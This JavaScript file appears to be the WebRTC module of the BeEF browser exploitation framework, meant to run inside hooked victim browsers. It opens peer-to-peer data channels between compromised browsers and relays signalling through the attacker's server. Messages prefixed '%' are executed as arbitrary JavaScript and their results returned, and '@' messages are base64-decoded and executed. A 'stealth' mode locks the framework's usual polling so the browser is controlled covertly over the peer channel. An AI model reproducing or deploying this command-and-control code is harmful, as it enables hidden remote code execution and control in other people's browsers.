beefrtcs = {};
globalrtc = {};
rtcstealth = false;
rtcrecvchan = {};
function Beefwebrtc(initiator,peer,turnjson,stunservers,verbparam) {
this.verbose = typeof verbparam !== 'undefined' ? verbparam : false;
this.initiator = typeof initiator !== 'undefined' ? initiator : 0;
this.peerid = typeof peer !== 'undefined' ? peer : null;
this.turnjson = turnjson;
this.started = false;
this.gotanswer = false;
this.turnDone = false;
this.signalingReady = false;
this.msgQueue = [];
this.pcConfig = null;
this.pcConstraints = {"optional": [{"googImprovedWifiBwe": true}]}
this.offerConstraints = {"optional": [], "mandatory": {}};
this.sdpConstraints = {'optional': [{'RtpDataChannels':true}]};
this.gatheredIceCandidateTypes = { Local: {}, Remote: {} };
this.allgood = false;
this.dataChannel = null;
this.stunservers = stunservers;
}
Beefwebrtc.prototype.initialize = function() {
if (this.peerid == null) {
return 0;
}
var stuns = JSON.parse(this.stunservers);
this.pcConfig = {"iceServers": [{"urls":stuns, "username":"user",
"credential":"pass"}]};
this.turnDone = true;
this.signalingReady = this.initiator;
this.maybeStart();
return 1;
}
Beefwebrtc.prototype.forceTurn = function(jason) {
var turnServer = JSON.parse(jason);
var iceServers = createIceServers(turnServer.uris,
turnServer.username,
turnServer.password);
if (iceServers !== null) {
this.pcConfig.iceServers = this.pcConfig.iceServers.concat(iceServers);
}
beef.debug("Got TURN servers, will try and maybestart again..");
this.turnDone = true;
this.maybeStart();
}
Beefwebrtc.prototype.createPeerConnection = function() {
beef.debug('Creating RTCPeerConnnection with the following options:\n' +
' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
try {
globalrtc[this.peerid] = new RTCPeerConnection(this.pcConfig, this.pcConstraints);
globalrtc[this.peerid].onicecandidate = this.onIceCandidate;
beef.debug('Created RTCPeerConnnection with the following options:\n' +
' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
} catch (e) {
beef.debug('Failed to create PeerConnection, exception: ');
beef.debug(e);
return;
}
globalrtc[this.peerid].onsignalingstatechange = this.onSignalingStateChanged;
globalrtc[this.peerid].oniceconnectionstatechange = this.onIceConnectionStateChanged;
globalrtc[this.peerid].ondatachannel = this.onDataChannel;
this.dataChannel = globalrtc[this.peerid].createDataChannel("sendDataChannel", {reliable:false});
}
Beefwebrtc.prototype.onIceCandidate = function(event) {
var peerid = null;
for (var k in beefrtcs) {
if (beefrtcs[k].allgood === false) {
peerid = beefrtcs[k].peerid;
}
}
beef.debug("Handling onicecandidate event while connecting to peer: " + peerid + ". Event received:");
beef.debug(event);
if (event.candidate) {
beefrtcs[peerid].sendSignalMsg({type: 'candidate',
label: event.candidate.sdpMLineIndex,
id: event.candidate.sdpMid,
candidate: event.candidate.candidate});
beefrtcs[peerid].noteIceCandidate("Local", beefrtcs[peerid].iceCandidateType(event.candidate.candidate));
} else {
beef.debug('End of candidates.');
}
}
Beefwebrtc.prototype.processMessage = function(message) {
beef.debug('Signalling Message - S->C: ' + JSON.stringify(message));
var msg = JSON.parse(message);
if (!this.initiator && !this.started) {
beef.debug('processing the message, as a receiver');
if (msg.type === 'offer') {
beef.debug('.. and the message is an offer .. ');
this.msgQueue.unshift(msg);
this.signalingReady = true;
this.maybeStart();
} else {
beef.debug(' .. the message is NOT an offer .. ');
this.msgQueue.push(msg);
}
} else if (this.initiator && !this.gotanswer) {
beef.debug('processing the message, as the sender, no answers yet');
if (msg.type === 'answer') {
beef.debug('.. and we have an answer ..');
this.processSignalingMessage(msg);
this.gotanswer = true;
while (this.msgQueue.length > 0) {
this.processSignalingMessage(this.msgQueue.shift());
}
} else {
beef.debug('.. not an answer ..');
this.msgQueue.push(msg);
}
} else {
beef.debug('processing a message, but, not as a receiver, OR, the rtc is already up');
this.processSignalingMessage(msg);
}
}
Beefwebrtc.prototype.sendSignalMsg = function(message) {
var msgString = JSON.stringify(message);
beef.debug('Signalling Message - C->S: ' + msgString);
beef.net.send('/rtcsignal',0,{targetbeefid: this.peerid, signal: msgString});
}
Beefwebrtc.prototype.noteIceCandidate = function(location, type) {
if (this.gatheredIceCandidateTypes[location][type])
return;
this.gatheredIceCandidateTypes[location][type] = 1;
}
Beefwebrtc.prototype.onSignalingStateChanged = function(event) {
beef.debug("Signalling has changed to: " + event.target.signalingState);
}
Beefwebrtc.prototype.onIceConnectionStateChanged = function(event) {
var peerid = null;
for (k in globalrtc) {
if ((globalrtc[k].localDescription.sdp === event.target.localDescription.sdp) && (globalrtc[k].localDescription.type === event.target.localDescription.type)) {
peerid = k;
}
}
beef.debug("ICE with peer: " + peerid + " has changed to: " + event.target.iceConnectionState);
if (event.target.iceConnectionState === 'connected') {
window.setTimeout(function() {
beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
beefrtcs[peerid].allgood = true;
},1000);
}
if (event.target.iceConnectionState === 'completed') {
window.setTimeout(function() {
beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
beefrtcs[peerid].allgood = true;
},1000);
}
if ((rtcstealth == peerid) && (event.target.iceConnectionState === 'disconnected')) {
rtcstealth = false;
beefrtcs[peerid].allgood = false;
beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
} else if ((rtcstealth == false) && (event.target.iceConnectionState === 'disconnected')) {
beefrtcs[peerid].allgood = false;
beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
}
}
Beefwebrtc.prototype.goStealth = function() {
rtcstealth = this.peerid;
beef.updater.lock = true;
this.sendPeerMsg('Going into stealth mode');
setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);
}
rtcpollPeer = function() {
if (rtcstealth == false) {
beef.updater.lock = false;
return;
}
beef.debug('lub dub');
beefrtcs[rtcstealth].sendPeerMsg('Stayin alive');
setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);
}
Beefwebrtc.prototype.onDataChannel = function(event) {
var peerid = null;
for (k in globalrtc) {
if ((globalrtc[k].localDescription.sdp === event.currentTarget.localDescription.sdp) && (globalrtc[k].localDescription.type === event.currentTarget.localDescription.type)) {
peerid = k;
}
}
beef.debug("Peer: " + peerid + " has just handled the onDataChannel event");
rtcrecvchan[peerid] = event.channel;
rtcrecvchan[peerid].onmessage = function(ev2) {
beef.debug("Received an RTC message from my peer["+peerid+"]: " + ev2.data);
if (ev2.data == "!gostealth") {
if (beef.updater.lock == true) {
setTimeout(function() {beefrtcs[peerid].goStealth()},beef.updater.xhr_poll_timeout * 0.4);
} else {
beefrtcs[peerid].goStealth();
}
} else if (ev2.data == "!endstealth") {
if (rtcstealth != null) {
beefrtcs[rtcstealth].sendPeerMsg("Coming out of stealth...");
rtcstealth = false;
}
} else if ((rtcstealth != false) && (ev2.data.charAt(0) == "%")) {
beef.debug('message was a command: '+ev2.data.substring(1) + ' .. and I am in stealth mode');
beefrtcs[rtcstealth].sendPeerMsg("Command result - " + beefrtcs[rtcstealth].execCmd(ev2.data.substring(1)));
} else if ((rtcstealth == false) && (ev2.data.charAt(0) == "%")) {
beef.debug('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1));
beefrtcs[peerid].sendPeerMsg("Command result - " + beefrtcs[peerid].execCmd(ev2.data.substring(1)));
} else if (ev2.data.charAt(0) == "@") {
beef.debug('message was a b64d command');
var fn = new Function(atob(ev2.data.substring(1)));
fn();
if (rtcstealth != false) {
beef.updater.execute_commands();
beef.updater.lock = true;
}
} else if (rtcstealth != false) {
beef.debug('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']');
beefrtcs[rtcstealth].sendPeerMsg(ev2.data);
} else {
beef.debug('received a message from peer['+peerid+'] - sending it back to beef');
beef.net.send('/rtcmessage',0,{peerid: peerid, message: ev2.data});
}
}
}
Beefwebrtc.prototype.execCmd = function(input) {
var fn = new Function(input);
var res = fn();
return res.toString();
}
Beefwebrtc.prototype.sendPeerMsg = function(msg) {
beef.debug('sendPeerMsg to ' + this.peerid);
this.dataChannel.send(msg);
}
Beefwebrtc.prototype.maybeStart = function() {
beef.debug("maybe starting ... ");
if (!this.started && this.signalingReady && this.turnDone) {
beef.debug('Creating PeerConnection.');
this.createPeerConnection();
this.started = true;
if (this.initiator) {
beef.debug("Making the call now .. bzz bzz");
this.doCall();
} else {
beef.debug("Receiving a call now .. somebuddy answer da fone?");
this.calleeStart();
}
} else {
beef.debug("Not ready to start just yet..");
}
}
Beefwebrtc.prototype.doCall = function() {
var constraints = this.mergeConstraints(this.offerConstraints, this.sdpConstraints);
var self = this;
globalrtc[this.peerid].createOffer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, constraints);
beef.debug('Sending offer to peer, with constraints: \n' +
' \'' + JSON.stringify(constraints) + '\'.');
}
Beefwebrtc.prototype.mergeConstraints = function(cons1, cons2) {
var merged = cons1;
for (var name in cons2.mandatory) {
merged.mandatory[name] = cons2.mandatory[name];
}
merged.optional.concat(cons2.optional);
return merged;
}
Beefwebrtc.prototype.setLocalAndSendMessage = function(sessionDescription) {
var peerid = null;
for (var k in beefrtcs) {
if (beefrtcs[k].allgood === false) {
peerid = beefrtcs[k].peerid;
}
}
beef.debug("For peer: " + peerid + " Running setLocalAndSendMessage...");
globalrtc[peerid].setLocalDescription(sessionDescription, onSetSessionDescriptionSuccess, onSetSessionDescriptionError);
beefrtcs[peerid].sendSignalMsg(sessionDescription);
function onSetSessionDescriptionSuccess() {
beef.debug('Set session description success.');
}
function onSetSessionDescriptionError() {
beef.debug('Failed to set session description');
}
}
Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) {
beef.debug('Failed to create session description: ' + error.toString());
}
Beefwebrtc.prototype.onSetRemoteDescriptionSuccess = function() {
beef.debug('Set remote session description successfully');
}
Beefwebrtc.prototype.calleeStart = function() {
while (this.msgQueue.length > 0) {
this.processSignalingMessage(this.msgQueue.shift());
}
}
Beefwebrtc.prototype.processSignalingMessage = function(message) {
if (!this.started) {
beef.debug('peerConnection has not been created yet!');
return;
}
if (message.type === 'offer') {
beef.debug("Processing signalling message: OFFER");
if (navigator.mozGetUserMedia) {
beef.debug("Moz shim here");
globalrtc[this.peerid].setRemoteDescription(
new RTCSessionDescription(message),
function() {
var peerid = null;
for (var k in beefrtcs) {
if (beefrtcs[k].allgood === false) {
peerid = beefrtcs[k].peerid;
}
}
globalrtc[peerid].createAnswer(function(answer) {
globalrtc[peerid].setLocalDescription(
new RTCSessionDescription(answer),
function() {
beefrtcs[peerid].sendSignalMsg(answer);
},function(error) {
beef.debug("setLocalDescription error: " + error);
});
},function(error) {
beef.debug("createAnswer error: " +error);
});
},function(error) {
beef.debug("setRemoteDescription error: " + error);
});
} else {
this.setRemote(message);
this.doAnswer();
}
} else if (message.type === 'answer') {
beef.debug("Processing signalling message: ANSWER");
if (navigator.mozGetUserMedia) {
beef.debug("Moz shim here");
globalrtc[this.peerid].setRemoteDescription(
new RTCSessionDescription(message),
function() {},
function(error) {
beef.debug("setRemoteDescription error: " + error);
});
} else {
this.setRemote(message);
}
} else if (message.type === 'candidate') {
beef.debug("Processing signalling message: CANDIDATE");
var candidate = new RTCIceCandidate({sdpMLineIndex: message.label,
candidate: message.candidate});
this.noteIceCandidate("Remote", this.iceCandidateType(message.candidate));
globalrtc[this.peerid].addIceCandidate(candidate, this.onAddIceCandidateSuccess, this.onAddIceCandidateError);
} else if (message.type === 'bye') {
this.onRemoteHangup();
}
}
Beefwebrtc.prototype.setRemote = function(message) {
globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message),
this.onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);
}
Beefwebrtc.prototype.doAnswer = function() {
beef.debug('Sending answer to peer.');
globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, this.sdpConstraints);
}
Beefwebrtc.prototype.iceCandidateType = function(candidateSDP) {
if (candidateSDP.indexOf("typ relay ") >= 0)
return "TURN";
if (candidateSDP.indexOf("typ srflx ") >= 0)
return "STUN";
if (candidateSDP.indexOf("typ host ") >= 0)
return "HOST";
return "UNKNOWN";
}
Beefwebrtc.prototype.onAddIceCandidateSuccess = function() {
beef.debug('AddIceCandidate success.');
}
Beefwebrtc.prototype.onAddIceCandidateError = function(error) {
beef.debug('Failed to add Ice Candidate: ' + error.toString());
}
Beefwebrtc.prototype.onRemoteHangup = function() {
beef.debug('Session terminated.');
this.initiator = 0;
this.stop();
}
Beefwebrtc.prototype.stop = function() {
this.started = false;
this.signalingReady = false;
globalrtc[this.peerid].close();
globalrtc[this.peerid] = null;
this.msgQueue.length = 0;
rtcstealth = false;
this.allgood = false;
}
beef.webrtc = {
start: function(initiator,peer,turnjson,stunservers,verbose) {
if (peer in beefrtcs) {
if (beefrtcs[peer].allgood == false) {
beefrtcs[peer] = new Beefwebrtc(initiator, peer, turnjson, stunservers, verbose);
beefrtcs[peer].initialize();
}
} else {
beefrtcs[peer] = new Beefwebrtc(initiator,peer,turnjson, stunservers, verbose);
beefrtcs[peer].initialize();
}
},
status: function(me) {
if (Object.keys(beefrtcs).length > 0) {
for (var k in beefrtcs) {
if (beefrtcs.hasOwnProperty(k)) {
beef.net.send('/rtcmessage',0,{peerid: k, message: "Status checking - allgood: " + beefrtcs[k].allgood});
}
}
} else {
beef.net.send('/rtcmessage',0,{peerid: me, message: "No peers?"});
}
}
}
beef.regCmp('beef.webrtc');